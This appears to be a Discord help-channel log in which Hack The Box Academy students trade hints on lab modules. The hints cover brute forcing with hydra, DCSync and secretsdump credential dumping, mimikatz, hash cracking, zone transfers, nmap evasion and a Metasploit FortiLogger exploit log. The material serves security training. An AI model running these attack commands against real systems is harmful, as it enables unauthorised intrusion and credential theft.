modules

[faint rampart]

it worked for me

[pallid geyser]

Hi guys, how cn i see the last modified file in a directory and his name

With ls -la?

[faint rampart]

you could use find

[pallid geyser]

I cnt see it

Oh okey now yes

Find

[faint rampart]

this works too @pallid geyser just tried it
Its been a whiile but find has a -newer and also time switches to pin point the exact time or a range of time when a file or folder was edited or created you could try searching the man page.

[pallid geyser]

Okey thank you guys

But with find i must use find -newer and??

[quick cloud]

found an error on a module but I cant send the msg in erratum

nvm I changed it

[naive field]

hey yall i dont understand

the ACL enum in AD module

they mention the user wley and how he has control over the damundsen

and i understand that the user wley has User-Force-Change-Password

but how do they know right away it is for the damundsen user?

ion get it at all...

pls someone explain... 🙂

since in the commands output there is no damundsen user mentioned

[misty current]

When you list the ACE's in context to the domain user wley, you can see from one of the ACE entry where damundsen show's up. Read the command output in the module carefully.

[naive field]

which cmd if u dont mind me asking?

[misty current]

Using Get-DomainObjectACL

Dana Amundsen is damundsen

And once you do a reverse search on the GUID of the objectACEtype, it'll show you what access wley has over damundsen.

[quick cloud]

hey does the RDP access work for you guys on the module password attacks and section Pass the Ticket (PtT) from Windows ?

[misty current]

Make sure you're wrapping the passwords in single quotes

[quick cloud]

lmao thanks

scriptie why does wrapping the password in single quotes work?

[steady matrix]

Kerberos Attacks
Unconstrained Delegation - Users

I can't get the dcsync attack to work. I can get the TGT from the DC, I export it, then try to dcsync with secretsdump (using -k -no-pass) or crackmapexec (using --use-kcache) and none of them works. Secretsdump just returns nothing and cleans, cme says "Name or service not known". Am I missing something?

Edit: answer was I was editing /etc/hosts incorrectly, it needs <IP> <DOMAIN> <HOSTNAME>
i.e.: 10.129.179.22 inlanefreight.local dc01.inlanefreight.local

[grand ginkgo]

Can somebody give me a hand here? The question is: How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only) . I best bet so far is $ cat /etc/services | grep "tcp\|udp" | wc -l, but that is incorrect.

[naive field]

yeah but how did they get the "damundsen" as username

i can see it says CN=Dana Mundsen

but like it didn't show exactly the usrname as it isi

is rn

[sweet goblet]

Hey ! Can i DM someone regarding this module:

Module:ATTACKING COMMON SERVICES
Section: Attacking DNS
Question: Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer.

[autumn pilot]

by mounting a folder

[tall birch]

module -password attacks, section- pass the hash

I finished all the question buit I believe it is not the intended way so I have a question:
as a user david how can I read the shared folder data for david in the DC01 while david don't have access there?

[misty current]

what you're looking at is the distinguished name, what you're looking for is the samaccountname. There are PS and PowerView commands to help get you the samaccountname using the distinguished names.

HTTP and SMB are your helpers

I'd suggest you go through the Files Transfer Modules in Academy to learn about these.

[misty current]

The simple answer is, The david share on DC01 is configured to allow david user to access it. He can't access anything else except that share.

[misty current]

What is your question? You can ask here

[karmic dagger]

I'm on the Credential Hunting in Linux Module in the Password Cracking lesson, and am unable to use the LaZange program since the module is not loaded on the target machine. I tried to install it, but that requires sudo prvileges I don't have. Is there a workaround for this?

[plain coral]

You can also base64 encode the file, then decode it.

[sweet goblet]

i think its solved now. Just had to wait till the dns service pops up i guess....

[misty current]

Yeah it takes some time to show up

[plain coral]

You can also base64 encode the file, then decode it.

[karmic dagger]

I'm on the Credential Hunting in Linux Module in the Password Cracking lesson, and am unable to use the LaZange program since the module is not loaded on the target machine. I tried to install it, but that requires sudo prvileges I don't have. Is there a workaround for this?

[misty current]

Yeah it takes some time to show up

[sweet goblet]

i think its solved now. Just had to wait till the dns service pops up i guess....

[misty current]

is it just me or Discord is acting up

[naive field]

how long do i have to wait for this? been like 5mins at least

[misty current]

It'll take a long time,

[cyan ginkgo]

in the login brutforce section "Service Authentication Brute Forcing" i cant connect to ip

[misty current]

get a snack

[candid sail]

hi folks, I'm working on the attacking Web Apps with FFUF module and I am confused by the following sentence: We get an empty page, indicating that the directory does not have a dedicated page, but also shows that we do not have access to it, as we do not get an HTTP code 404 Not Found or 403 Access Denied. Should that read "we ** do** have access to it", or am I just missing something? It seems like if we do not have access to it, then we would expect the 403 code...

[cyan ginkgo]

does it take a long time to start up?

does it take a long time to start up?

[cyan ginkgo]

which section?

[proud pine]

It can take a super long time. I usually recommend doing
$whatevervariable = GetDomainObjectACL -resolveguids -identity *
and then just piping off of the variable, so you don't have to keep running the command.

[cyan ginkgo]

it means that its a directory with no web content, but in that directory are sites that are accesseble to a user like example/blog/index.html

does it take a long time to start up?

[crimson walrus]

Hey guys. I am currently on the last skills assessment for the Attacking and Enumerating AD module.
I found a user with the SeImpersonatePrivilege enabled. Now I have to carry out teh PrintSpoofer attack or the JuicyPotato attack. I can clone these repositories but I dunno how I can compile them (they are both visual studio project if Im not mistaken) whereas my attack machine is Kali Linux. Any tips and tricks would be greatly appreciated!

[faint rampart]

find / -type f -newermt YEAR_BEFORE-MONTH-DATE ! -newermt YEAR_AFTER-MONTH_AFTER-DATE_AFTER
Something like this

[faint rampart]

i believe a compiled PE32 exeecutable is in this repo for both 32 and 64bit arch https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe

[ancient ruin]

Hello

[naive field]

im doing AD enum and attacks module and when i run bloodhound i get no querys loaded

i first used

PS C:\htb> .\SharpHound.exe -c All --zipfilename ILFREIGHT

then started bloodhound with the bloodhound cmd

nvm got it it was bugging for sm reason

[tall birch]

I am super stuck in the module if anyone can help:
Pass the Ticket (PtT) from Linux

I am at Check Carlos' crontab step and I found another keytab folder put the password is not working

[crimson walrus]

thank you sir!

[naive field]

piping off the var with what :D

[red current]

Anyone here get through the bypassing encoded references section in Web Attacks? I could use some assistance with this one. I've tried fuzzing numbers from 1 to 20 but that's not working for some reason.

[fiery berry]

You found the folder however I'm no quite sure what do you mean with "put the password is not working"

if you still need help I can dm you or you can dm me

[tall birch]

I am root now but still stuck, will dm you thnaks!!

[sinful tide]

Hi so i'm on the network enumeration with nmap I'm struggling with the firewall evasion the medium one I've tried all the things I now i used -sS sA sT i tried port 53 i tried some scripts i even used the machine of the previous test as a DNS but nothing worked
And when i tried a UDP scan i a got something but it wasn't the correct one

Can any one help me out with it ?

[heady tusk]

recompile the binary on your host, but before doing that run export CGO_ENABLED=0. That fixed the issue for me

[heady tusk]

dm me your findings if you want, I'll take a look

I'm not entirely sure what the underlying issue arises from. only found that fix online and didn't question it any further

great 🙂

[fresh compass]

Hi, can anyone help me with the redeemer module (starting point)?

https://discord.com/channels/473760315293696010/1114922522404737111

I'm really confused on whats happening there

[rustic sage]

why cant i bruteforce ssh with hydra?

[misty current]

hydra -L not -U

[proud pine]

Any of the functions that you'd want to check the info against, like in the module.

[misty current]

It thinks you're supplying two targets by supplying -U I guess

[rustic sage]

hmm, renamed the two files but still not working

[misty current]

renamed the files?

can you show me the command you're executing again?

There was no reason to change the file, just the argument

[rustic sage]

hydra -U usernames -P passwords ssh://10.129.202.136

i renamed usernames.list to usernames

[misty current]

hydra -L usernames -P passwords ssh://10.129.202.136

I mant it like this

[rustic sage]

ohhhh

now it works

my bad

[misty current]

developer's choice, always read the tool's usage.

[rustic sage]

i thought it was -U like in crackmapexec

[naive field]

oh gotchya, yeah that makes sense. added to the notes

[eager hatch]

Maybe for "Logins", but yeah different conventions are way to get mixed up

[red current]

Never mind. I figured it out. Base64 is your friend.

[misty current]

b64 ftw

[austere glade]

I've got a little bit struggle on retired machine,"Ready". Can I ask for help here?

[naive field]

#boxes

[austere glade]

I have no access to the link

[misty current]

You need to verify your account

[austere glade]

I had have verified my account.

[fresh compass]

Hi, in the reedemer module (starting point) the 6379 port should be open (as I can see in the walthrough) but it's filtered if I check. Somebody could help me?

If I perform a nmap command with -sU is open|filtered, but not just open

[vital adder]

that is not a module on HTB academy that's a box on HTB, verify your account by using /verify at #bot-commands and ask that in #starting-point

[vital adder]

use /verify at #bot-commands and ask that in #boxes

[austere glade]

Sure! I'll try it.

Thx u guys

[faint rampart]

check out the /drive switch

reading the man pages first is always helpful tho

[misty current]

Or just copy and paste, since it's RDP

[rustic sage]

Hello all, I am the last step on the Password Attack Lab - Hard, I got the|| SAM and SYSTEM files, and used samdump2. I got the hash for administrator, but I cannot use it, crackstation says|| its empty? Any hints would be great.

[faint rampart]

you could also use the imapcket smb server technique too and mount the directory as a network drive with net use

Youre welcome.🤞🏽

[misty current]

I don't remember exactly but, if it's a blank, what else can you do just with the hash?

Give it a try, if it fails, move to next file transfer methods.

[faint rampart]

what do you do with a hash when you cannot crack it? go thru the section over again you might be missing something

[rustic sage]

I tried to|| PtH with xfreerdp|| but was unsucessfull

[faint rampart]

RDP isnt the only way to gain access onto a box, enumerate harder.

[rustic sage]

got it, thanks!

[ebon agate]

Hi.

Anyone here?

[rustic sage]

it was a tool issue,|| samdump2 gives different hashes than impacket-secretdusmp||, thanks for your time

[misty current]

Oh, I remebered facing the same blank password issue, and I think this is what I too did. Anyways, good job finding it on your own

[rustic sage]

ty!

[acoustic owl]

You are on the wrong server.
No, we don't attack Instagram, Facebook, Roblox or any other systems.
Contact the support of the service you need help with

[red current]

Having an issue with the Chaining IDOR Vulnerabilities section in Web Attacks. Is anyone available to assist with this? I can't seem to formulate the correct script to enumerate all users.

[rustic sage]

how many minutes before i should quit brute forcing at the password cracking module should i wait?

[red current]

None of those should take more than about 5 minutes.

[misty current]

just a simple bash for loop with curl and grep should do the trick?

[red current]

Okay, but I can't find the right encryption used for the uuid. I've checked all of my resources and nothing comes up.

[misty current]

Ah is it the ||uriencode|| one that you're working on?

[red current]

Try to change the admin's email to '[e-mail]', and you should get the flag on the 'edit profile' page. Is the question.

[misty current]

Maybe you're over complicating it?

[misty current]

Take a look at the requests again and see what you are the things you only need to achieve the goal.

[red current]

Okay, thank you for the hint. I'll see what I can come up with.

I figured it by using Intruder in Burp Suite. I should have thought of that before. Crafting the script for this was just not working.

[zinc marsh]

jupiter box is down?

wrong chat

[heady tusk]

if you want I can show you the bash script way. dm me if that sounds interesting

[red current]

I sent you a dm.

[rustic sage]

"static {
a[0] = "";
a[2] = "[>T\t\006\001\003\006\032";
a[4] = "AmB\021";
a[6] = "KHS";
a[8] = "R;U_";
a[10] = "[/T\030\006\001\003\006\013";
}
"

in upper can someone tell me how do i can identify the encryption algorithm and also decode

[candid sail]

in Directory Fuzzing, just before the lab

[rustic sage]

???

[candid sail]

I understand that, but am confused about the wording which seems to say that we don't have access to this directory when it seems like we might have access to the directory's contents, it's just not set up to not show it on the url. I think the wording is just clunky.

Thank you, though, @cyan ginkgo

[rustic sage]

???

[rustic sage]

Stuck in the Enumeration with NMAP module where I'm trying to find a flag from the services on the target host. I did find a flag like HTB{....} in my scan, but entering this into the answer it doesn't get flagged as the right answer.

[faint rampart]

gotta be more specific
What module? what are you tryna do? what have you done?

[rustic sage]

Sorry. Module is https://academy.hackthebox.com/module/19/section/103 -- the question in the end says to enumerate all the services and that one of them is giving a flag that nmap doesn't display by default and that I should find it. I ran nmap --packet-trace to see all the packets and indeed I see that one of the responses from one of the ports contains a HTB{...} string, so I'm strongly thinking this is what I'm looking for, but entering it, I might be wrong.

[paper rivet]

Which section inside the module?

[rustic sage]

"Service Enumeration"

[heady tusk]

make sure you don't have any trailing spaces

[rustic sage]

ty. confirmed, no extra spaces anywhere. still no success. i also respawned the target, just in case.

[eager hatch]

Checked the module again, it is working for me (as in I find the flag I correctly submitted before)

[eager hatch]

Are you submitting the whole flag? If so I can check with you by MP it's the correct one

[paper rivet]

Submit it with HTB word and with the {}

All the flag

Not only the numbers inside {}

[runic inlet]

hello everybody, Guys can somebody help me I am stuck at footprinting module and mysql section question: During our penetration test, we found weak credentials "robin:robin". We should try these against the MySQL server. What is the email address of the customer "Otto Lang"?

[paper rivet]

Okay, i remember this...

You are scanning the wrong service

Try with other port

[agile gale]

[paper rivet]

A ||high port||

[eager hatch]

What is your issue?

[runic inlet]

mysql -u root -probin -h 10.129.42.195
ERROR 1045 (28000): Access denied for user 'root'@'10.10.14.152' (using password: YES)

[eager hatch]

You are not using the user:password combination that is given to you/that you found 😉

[sleek urchin]

Doing Windows Privilege Escalation: Situational Awareness

What executable other than cmd.exe is blocked by AppLocker?

I have used the following command:

Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\*.exe -User Everyone

but it only show cmd.exe as blocked and no other executable

[static roost]

So is anyone actually doing the QA from the end of Documentation and Reporting? I just spent an ungodly amount of time working on a report. It's almost done, just working on appendix. Anyone feeling excited to do the QA for me????

[sleek urchin]

any help is well appreciated

[stoic lichen]

Hey, just started using htb academy and not a huge fan of using the in browser vm, so im planning on just using one of my own, any suggestions for what distro i should use? preferably one that comes with a lot of the tools needed for the academy pre downloaded

[fathom pendant]

<@&861185840277487616>

Fuck off, kindly

[sterile hawk]

Ty

[obsidian sundial]

does anybody know of a udp flooding tool i can use?

[fringe shell]

I gravitate towards Kali Linux as that is where I started. But there is also the HackTheBox specific ParrotOS you can find here -> https://parrotlinux.org/download/
There are, of course, many other flavours... Download 1 or all of them and have a crack and see which one you like.

[obsidian sundial]

i trie loic but ive only found the sourceforge one.. im not downloading anything from sourceforge

[fringe shell]

is this for an academy module?

[stoic lichen]

ty vm

[obsidian sundial]

i dont know

im like

new

idk what that means even

[fringe shell]

Ok, this is a place for questions about HackTheBox academy modules (a learning environment). Likely not the place to answer your question.

[pine dagger]

You're asking people for a tool to DOS someone

[obsidian sundial]

im going to dos myself.

[pine dagger]

Right.

[obsidian sundial]

sorry

[wispy aspen]

If you want to Denial of Service yourself, just unplug your router

[pine dagger]

Hammer.

[cyan ginkgo]

I think it means we do not have acces to the /bg/ directory but the files in the blog directory we do have acces to so the bg has no rwx priv but on the /b**g/example.htlm we have r— access

[golden vortex]

AD- Attacking Domain Trusts - Child -> Parent Trusts - from Linux I can login to the DC with psexec, but I can't get secretsdump to work to grab the hash.

[golden vortex]

i dont remeber adunn's passord

[prime python]

I'm stuck on the Burp Intruder portion of the Web Fuzzer section in the Using Web Proxies part of the bbh path.

I feel as if I may be missing something or doing something incorrectly.

[vital adder]

i mean if you still need help on one of the questions i can give you a hint

[vital adder]

hint you are on the right path using Get-AppLockerPolicy and there is multiple example for this command in that section, hint try other example about this command

[median meteor]

Hey, on the AD Module, in the LLMNR section which password list did you used to crack those hashes?

[vital adder]

if you managed to a shell on the DC then your first attack is probably right and so you should be able to dump the hash with secretsdump and the command i use for this is 90% similar to the psexec command

[vital adder]

http://dontasktoask.com/ and for someone to able to help you, you kinda need to say exactly what is your issue

[vital adder]

i use rockyou for both from windows and linux

[simple zephyr]

Anyone complete any of the hard modules. I have 500 cubes after completing the pentest path and want to see whats recommended. I am looking at the Kerberos Attack on right now, but not sure how much of that module I could just lab up and do personally or if its worth it.

[vital adder]

i haven't done any but personally i would say if you want some AD stuff go for the crackmapexec or kerberos module or if you want to go for web stuff the Injections module look alright but for the AD modules you will get good lab that you can also practice other or similar attack but the web stuff you can get it for free (even the lab) on portswigger academy

[simple zephyr]

yeah, any of the modules go over antivirus evasion at all? I am going to start jumping into some prolabs and I think that might help.

i get an education fund stipend and probably after DefCon I will just see how many cubes in total my job will pay for. Web is my weak point, but AD is where I have fun.

[vital adder]

Yea prolab is the best for learning these type of stuff not mentioning the labs you will get and especially with the new price I'm 100% recommending it and I if you want a challenge (a kick on the nut) go for offshore

[trail python]

Hi all, new to HTB academy here and would like your thoughts about your experience with CPTS and CBBH. Should I be jumping straight to silver monthly subscription without prior experience? Do I need to familiar myself with networking, bash,powershell,pwk, etc before i do? For starter how many months of commitment would be needed before tackling either exams? Appreciate any helps

[vital adder]

The time thing it's completely dependent on where you are and how much knowledge you have on the topic of either exam and of course you need to know the basic before jumping in so I would say take your time learn the basic (tier 0 modules is free) and then jump in to the exam path's

[plain coral]

I’d do the Information Security Foundations path first, so you have a solid foundation.

[prime python]

I am using Burp Intruder to fuzz and try to find an .html file with the flag. I have my payload reading from my wordlist and have '.html' added as a suffix to the directory. I have yet to find any .html file when it runs through the word list.

[faint rampart]

Check your payload position and if you think its correct try a different wordlist.

[tall birch]

Password Attacks Lab - Hard | How can I downland a BIG file over ||smb||? it is getting timeout all the time help?

|| (NT_STATUS_INVALID_NETWORK_RESPONSE). The connection is disconnected now||

[reef drift]

hey, you got a solution? I'm stuck before with the krbrelayx, I got "Ciphertext integrity failed. Most likely the account password or AES key is incorrect!"

[autumn pilot]

there is an option that you can mount the smb share

[trail python]

I see thanks for that

[trail python]

ill try that ty for inputs

[steady matrix]

Not yet, still chatting with Support regarding this

[autumn pilot]

are you doing it from your VM or the workstation in academy?

[reef drift]

From the academy pwnbox

[autumn pilot]

when I was doing it using pwnbox it worked

[autumn pilot]

@reef drift @steady matrix feel free to dm the commands (in order) and the output that you have so far

[maiden torrent]

hello guys, Where to contact the support for the academic email verification ?

[autumn pilot]

https://help.hackthebox.com/en/articles/5987511-contacting-academy-support

[fierce pier]

Hi, I am stuck at cracking notes.zip with john

Protected archive module

Anyone can give nudge pls?

[fathom pendant]

Have you tried giving it 2john? (Note may need python2.7)

[fierce pier]

Yes sir, using ssh2john

With python 2

Using rock you.txt and provided password list. But doesn't show any cracked password

[autumn pilot]

the password is neither in rockyou nor the password list provided

try to recall what you have done with the provided one in a previous section

[fierce pier]

Got it. Forgot to think out of the box hahaha

Thanks guys @autumn pilot @fathom pendant 🙏🙏

[pine dagger]

Does anyone know how to install pgadmin4 into the pwnbox? The commands provided in the Advanced SQL Injection module don't work (there's no release for "ara").

[steady matrix]

Ah thanks man, Support actually went through all this and turns out something's not working with the environment, I was doing everything right

[deep tide]

hi

I have a website, and I think it is very good in terms of security, but I am thinking about how to make the website even more secure. For this, I want to ask you: if you see a JavaScript-based website, how do you test its security or evaluate the security of websites like this? How do you test the security of your own website?"

Please note that while I have provided a translation, the request appears to be about seeking advice on website security testing, which is a complex topic. It is always recommended to consult with security professionals or experts in the field for accurate guidance on testing and enhancing the security of websites.

[fathom pendant]

Read #rules and #welcome

[modern falcon]

does crackmapexec have any option to run multiple threads on a host? I tried to use the -t option but dont see any improvement in speed

[abstract vapor]

hi, i have problem with dcsync attack, "Active Directory Enumeration & Attacks " Module. i found user with "Store password using reversible encryption" option. and i need password of this user, i ran mimikatz and tried to dump hashes with this command: "lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\USER" but mimikatz is erroring. am i doing something wrongly?

[misty current]

which user do you have the shell as?

[misty current]

the shell where you're running mimikatz

[abstract vapor]

im connecting RDP with htb-student user

[misty current]

Review the requirements needed to perform a DCSync attack.

[hidden trellis]

Hi did you manage to figure this part out?

[pine dagger]

Yep!

[hidden trellis]

nice! is it possible to get some help?

[pine dagger]

Ask your question, I'll be back later. Wife wants to go for lunch 🙂

[flint chasm]

Hi All
I'm just doing last quest from the Metasploit > Sessions & Jobs
I created a background on the metasploit but when I'm trying to exploit and get access to root there is the info: Msf::OptionValidateError The following options failed to validate: SESSION
But I set the SESSION
Anyone maybe know what is going on?

[hidden trellis]

Ok cool, I'll be in bed here lol just having trouble with rce. pretty sure its via the|| import post function|| but cant get it to work

[heady geyser]

in the attacking common services/attacking dns section. i have used subbrute to uncover 5 other dns records. i dont see a flag. i then use the "host" command on each one and still dont get anything. could use a nudge

[heady geyser]

what sessions are listed after listing them. i think the command is "sessions -i"

[abstract vapor]

do i need to log in as a ad**n or snron account? i also checked ADSI and everything is same as its shown on the image

[flint chasm]

4 and 6

[misty current]

Well, if you know who to use to perform the DCsync attack then use that user.

[heady geyser]

and you set it to each one of those and still get the error?

[flint chasm]

yep

[heady geyser]

why is there 2 sessions? is it worth trying to close out a session and try again?

[flint chasm]

because I use background options 2 times

I was also trying to kill all sessions and also doing this with new IP of machine

[abstract vapor]

but i dont know how to perform this attack from other user. should i switch user or what should i do?

[cursive zinc]

hello to all !i have difficulty with nmap
I have two questions to which I have not found an answer for a week.

on part of nmap about NSE
I can't find the flag I tried several scripts such as this one

sudo nmap Ip -sV -p 80 --script vuln,banner, -sC

but nothing I can't find what corresponds to the flag. HELP

[misty current]

you have the other user's creds right?

[abstract vapor]

yes

[misty current]

☝️

[abstract vapor]

yes but how can i switch account to perform this attack? i have different users credentials, how can i use those credentials? should i specify them as a argument in any script?

[dapper star]

Hey, can I DM someone about Attacking Common Services - Hard?

[acoustic owl]

what does the output say? What is vulnerable?

[misty current]

make use of the runas command and also iirc you can login as the other user directly with RDP

[cursive zinc]

the question of that part is : Use NSE and its scripts to find the flag that one of the services contain and submit it as the answer.

[acoustic owl]

If you run your NMAP command from before, it will show you what is vulnerable. Take a close look at this

[cursive zinc]

okay give me 2 min

[naive field]

im doin DCSync and i need to use secredump.py on adunn user

but i never got adunn's pass

[cursive zinc]

these much information , i don't know which i need to use

[naive field]

nvm it was in the past moduless....

??

huh

:/

why is it giving me this as an output

wtf

there is not even an mimikatz.exe in the

Tools dir so i can do it the other way lol

stuck af on this

[acoustic owl]

Go through the vulnerabilities and see what you can use

[rapid sparrow]

Why I cannot run pspy64

[autumn pilot]

do an ls -la and check out the permissions

[rapid sparrow]

fixed with chmod +x filename

[rapid sparrow]

thanks

[serene spoke]

anyone did the password attacks - mutation list challenge recently where you have to crack pass of SSH user 'sam' ?

would these two commands be enough? (as it takes more than 40 minutes and still not successful)

hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list 
hydra ssh://10.129.202.64 -l 'sam' -P /tmp/mut_password.list 

can anyone give me a nudge on this one? thx

the mut_password.list has 94044 lines, not sure how much it needs to run or if I am doing it corrently at the first place

[cursive zinc]

Please somebody has resole in the Nmap enumeration part , the Nmap scrip ENgine question?

[supple patio]

Most frustrating module

[supple patio]

It took me about 4 hours

[serene spoke]

holy crap, I guess I will have to wait. Thanks

[vital adder]

hint cut the first 17000 password and yes that part is Fing frustrating

[pine dagger]

Oh... ||you're on the right lines... try looking at some of the tools for creating automated exploits for PHP frameworks.||

[serene spoke]

hydra is already ~2hrs into the process, I will let him cook 👨‍🍳

[fathom pendant]

There's another service running you can use

[heady geyser]

in the attacking common services/attacking dns section. i have used subbrute to uncover 5 other dns records. i dont see a flag. i then use the "host" command on each one and still dont get anything. could use a nudge

[fathom pendant]

Perhaps you should dig

[rapid sparrow]

I have stuck in Miscellaneous Techniques from linux privilege escalation

Review the NFS server's export list and find a directory holding a flag.

[heady geyser]

i keep getting time outs using both the ip address and the DNS name

[faint rampart]

what did you find when you checked the exports list?

[fathom pendant]

dig axfr subdomain @ip

[rapid sparrow]

Export list for 10.129.2.210:
/tmp             *
/var/nfs/general *

I also try this

[whole grotto]

Hi, I have a question about the footprinting/IPMI module. I've managed to get the hash but I can't crack it either with john or with hashcat. Also, is it normal that the hash changes each time I run metasploit?

[fathom pendant]

Don't use the hash mask from the module

[whole grotto]

what do you mean ?

[fathom pendant]

What does your command look like?

[faint rampart]

here you are already root (Unless youre trying to root with no_root_squash), and you know the format of the flag to be "HTB{**}" try to grep in both directories if what you need is your flag.

[rapid sparrow]

yes, but I use different method to get it

[whole grotto]

john --wordlist=/opt/rockyou.txt hash.txt
hashcat -m 100 -a 0 hash.txt /opt/rockyou.txt

[heady geyser]

i swear i hate DNS. i did the below command for all the subdomains found with subbrute. dig AXFR ns3.inlanefreight.com @10.129.203.6. transfer failed on all 8 subdomains

[rapid sparrow]

I am not sure why that section has root directory and after using this command gcc shell.c -o shell

[faint rampart]

It might be possible, because the vendor default hash password for HP ILO is randomised 8 chars, numbers and upper case letters

[fathom pendant]

Restart the box and rerun the subbrute. The first one will be the answer

[heady geyser]

thanks

[fathom pendant]

It's not hp ilo

[naive field]

ok so I am doing Privileged Acces module and im connecting to mssql from windows host

[faint rampart]

could you clarify if you are trying to root the box via no_root_squash or youre trying to get the flag?

[fathom pendant]

Also the answer is static

[naive field]

now what do i do? i can do it with mssqlclient on linux

but interested how to do it over windows since its not provided in the module

for some reason

only the cmd for connection is provided

[fathom pendant]

sqlcmd

[naive field]

liek jsut type in the sqlcmd in the powershell?

im getting an error that its not recognized

[fathom pendant]

Weird

[whole grotto]

I've done this but always the same thing

[fathom pendant]

Is your @ip including a period at the end?

[whole grotto]

no

is it normal that everytime the hash change when i run metasploit ?

[fathom pendant]

Sorry replied to wrong person

[fathom pendant]

It shouldn't

[fathom pendant]

Solved?

[whole grotto]

Every time I run metasploit the hash changes

[fathom pendant]

It shouldn't I don't believe

[heady geyser]

nope. i just dont have any intuition when it comes to DNS like i do other ports. I think im messing something up.

[whole grotto]

You have to see that ahah

[fathom pendant]

Does your dig command include the period at the end?

Or was that just splitting your sentence

[whole grotto]

can I send you a screen?

[heady geyser]

just splitting my sentence

[left pond]

am i only one here who dosent understand wtf is this
(windows fundamentals thing btw)

also how to get academy user role

[fathom pendant]

Silver annual sub

[left pond]

??

[fathom pendant]

It's the access control list of C:\windows

[fathom pendant]

For academy student role

[naive field]

just silver annual?

[mellow turtle]

i think so

[left pond]

https://tenor.com/view/sad-garlic-plants-v-pvz-pvz2-gif-25821283

[fathom pendant]

For getting the academy user role, yes, as iirc the silver annual gives you a thing like main site to verify with

[frigid patrol]

hi, what is answer, Which version of Metasploit is free and can be used only through a CLI? , i think Metasploit Framework

[mellow turtle]

@frigid patrol i think the community edition of metasploit framework

and you should post the module and the section

[frigid patrol]

yeah, i tried it, it's incorrect answer

[mellow turtle]

tell me module and section

[frigid patrol]

Metasploit Framework, Intro to metasploit section

[mellow turtle]

||Msfconsole||

[frigid patrol]

okay, thanks man

[mellow turtle]

Glad to help

[frigid patrol]

Meterpreter section, target machine didn't work, i think it's windows/http/fortilogger_arbitrary_fileupload

[+] Generate Payload
```, i can't get meterpreter shell,

[mellow turtle]

Cant help u with that, i didnt take notes for metasploit module :/

[acoustic owl]

The payload is correct. What exactly is not working?

[frigid patrol]

idk, it's working Generate payload for some time,

[faint rampart]

lol the hash isnt the same @rapid sparrow use rockyou.

[acoustic owl]

||

[*] Started reverse TCP handler on 10.10.10.10:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. FortiLogger version 4.4.2.2
[+] Generate Payload
[+] Payload has been uploaded
[*] Executing payload...
[*] Sending stage (175174 bytes) to 10.129.203.65

||

Otherwise try the PwnBox

[rapid sparrow]

is that the footprinting module?

[faint rampart]

yeah sorry wroong tag @whole grotto

[faint rampart]

if you still have issues you can come to dms lets get it to work

[rapid sparrow]

the Skills Assessment is so hard

[faint rampart]

not really 💀
that was one of the very easy modules, I guess you just over looked some things and its fine

[rapid sparrow]

I got flag 1 and find flag 2

don't know how to get the other user acc

[faint rampart]

go over the sections, understand it and chain them all
if you have issues you can send a dm

[rapid sparrow]

dm

[zinc marsh]

https://academy.hackthebox.com/module/143/section/1272 what wordlist should i use?

im using rockyou.txt and it is not working

nvm i must have been writing as space or something it worked now

[topaz turret]

Hi, I've been stuck on flag4 in the Linux Local Privilege Escalation - Skills module for three days. I have obtained the credentials for tomcatadm and the corresponding password, but I don't know how to open flag4.txt. Could you please provide me with a hint or send me a direct message?

[violet axle]

Did you get this sorted with Attacking Common Applications Attacking Tomcat?

[golden vortex]

Active Directory Enumeration & Attacks I didnt put adunn's in my notes. I now need it and i dont know what section his credential where in. can someone help

[thorn urchin]

id recommend going over the tomcat hacktricks page

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat

The relevant bit is also from an earlier module but idr which one

[topaz turret]

Thank you for your help

[thorn urchin]

once you figure it out its a good idea to save that specially in your notes somewhere, theres a lot of similar things that can come up that can be exploited in exactly the same way 🙂

so its a good thing to have sitting in your backpocket

[misty current]

It's in the ACL Abuse Tactics sections, if you've answered it. It should still be there.

[thorn urchin]

in addition to the above, I highly recommend while doing that section to keep a credentials list for the module

youll be acquiring several diff users passwords and many of them are reused for the labs

[cursive zinc]

somebody know how to resolve the last lab of nmap?

i have try this

ncat -nv --source-port 53 ip 50000 but nothing

[zinc marsh]

it is a nmap module and they make u use ncat?

[thorn urchin]

ncat is made by the nmap people

but no you dont have to use it

[zinc marsh]

i just checked it and i did all with nmap

[cursive zinc]

thank because i have try all nothing it working

[thorn urchin]

when in doubt try more patiently

[desert lance]

can anyone help me ? i am in a bit of confusion

[misty current]

Just ask your questions directly.

[desert lance]

yea so is it possible to a test hacking site , to get the data from the main modules?

[zinc marsh]

https://dontasktoask.com/

[zinc marsh]

wdym

[cursive zinc]

yes i have try since this morning and it is not giving

[desert lance]

let see there's a testing site , there is data encrypted there so we can get them or not possible?

[cursive zinc]

can i ask to you how have you resolve it?

[tall birch]

Hii,
For Linux Priv Esc is it normal that the service they are talking about and the creds || in the cat /usr/share/tomcat9/etc/tomcat-users.xml|| are not working or it is issue with the box??

[golden vortex]

module Active Directory Enumeration & Attacks section Attacking Domain Trusts - Child -> Parent Trusts - from Linux I can dump hashes with secretsdump but user bross doesnt have a hash. Im definitely missing something just not sure what

[faint rampart]

check running services

[zinc marsh]

just run a scan to all the ports

and check them

[cursive zinc]

i have done that

[cursive zinc]

sudo nmap -sS IP -Pn -n --disable-arp-ping --source-port 53

[tall birch]

I checked them, and I found that ||tomcat|| not sure if they mean something else in flag4 wasted hour looking for it

[faint rampart]

you would need to find a way to forward that

[tall birch]

why would I forward it it is already running on port 8080, am I missing something

[zinc marsh]

nmap --help and read what each thing does

[faint rampart]

the credentials dont work, but its running as the tomcat user which if you cat the passwd file you could see he also has a login shell, ||remember the war shell trick with tomcat and see if you can shell the box as tomcat user||

[cursive zinc]

thank but i not what each word of the script do

[cursive zinc]

i have found the hiding port with that script now the problem is to fine the flag

[cursive zinc]

ok

[abstract bridge]

safary autodetects academy.htb isnt a valid website as .htb exts dont exist and just makes me search result academy.htb even after its in /etc/hosts file...

is there a way to force enter domain on safari or is that a minus for me

||admin.academy.htb|| for example

[misty current]

Safari?

Why not just user a different browser instead?

[abstract bridge]

cba to install one rn

wait i had an idea

nope using ports still google searches

ugh pwnbox it is

[static roost]

